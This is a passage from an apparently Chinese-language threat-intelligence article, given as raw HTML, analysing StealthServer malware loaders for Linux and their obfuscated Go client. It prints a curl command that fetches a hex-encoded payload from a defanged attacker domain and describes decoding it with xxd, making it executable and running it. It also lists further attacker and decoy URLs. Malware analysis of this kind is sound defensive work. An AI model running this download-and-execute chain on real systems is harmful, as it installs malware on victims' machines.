none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">实际上会从远程恶意服务器下载一个文件 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“Mt_dated_29.txt”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，保存到 /tmp 目录下且命名格式为</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“/tmp/Meeting_Ltr_ID1543ops.pdf-$(date +%s)”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。这个文件就是 StealthServer，但是是十六进制 HEX 格式的字符串内容，因此使用</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“xxd -r -p”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">命令将其恢复为二进制 ELF 文件，然后</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“chmod +x”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">之后执行。</span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">curl -s &#34;<a href="https://securestore[.]cv/ghg/Mt_dated_29.txt" target="_blank">https://securestore[.]cv/ghg/Mt_dated_29.txt</a>&#34;</span></span></code></pre><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><img data-imgfileid="100000488" alt="Linux-V1-ELF.png" class="rich_pages wxw-img" data-ratio="0.062037037037037036" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0f5f7730&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKcVibLHL30SzbMap9psfJyB5A7Zp8np9nKxftsoeoVRvtvhBqkPXNQ9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">另一个变种的 Loader 使用十六进行 HEX 字符串的格式编码 URL，而非 base64，如下图所示变量 a 解码后是</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://trmm[.]space/SoftsCompany/d/27/clipboard.txt" target="_blank">https://trmm[.]space/SoftsCompany/d/27/clipboard.txt</a></span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，b 解码后是</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“firefox”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，c 解码后是用于误导的 pdf 链接</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://drive.google.com/file/d/1C-PH7EEOhv5gjYzKnsz_KGBe48454QGc/view?usp=sharing" target="_blank">https://drive.google.com/file/d/1C-PH7EEOhv5gjYzKnsz_KGBe48454QGc/view?usp=sharing</a></span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，功能是相同的，不再赘述。</span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><img alt="Linux-V1-Another-Sample.png" class="rich_pages wxw-img" data-imgfileid="100000489" data-ratio="0.27003699136868065" data-w="811" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5d27176c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKcVZnmpe8QT1MKibQLOUQZzuYafnVB59Qz8nnTLhNlCukMFmZ2J79rmQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"># StealthServer</span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">和 Windows 版本的样本不同，Linux 版本的 StealthServer 的代码进行了函数名混淆，开发路径为 </span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">D:/bossmaya/client/obfuscated_client.go</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。</span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><img data-imgfileid="100000490" alt="Linux-V1-Client.png" class="rich_pages wxw-img" data-ratio="0.5009259259259259" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=092df075&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKCMSibzTIDskEUsBzMCe0za5KfAaAf2vbzIthicxcDVznpuKAico4jD86A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><h5 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 600;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;">1. Junk code/Junk Function</span></span></h5><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">init 和 main 函数前面大部分内容都是 Junk Function 和 Junk Code，用于干扰分析，Junk Code 主要是执行无意义代码，包括两类，一类是比如包含空代码的大量循环和休眠，另一类是对一段无意义数据进行循环压缩/加密/解密。</span></span></span></span></p><h5 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 600;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;">2. 反调试</span></span></h5><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid 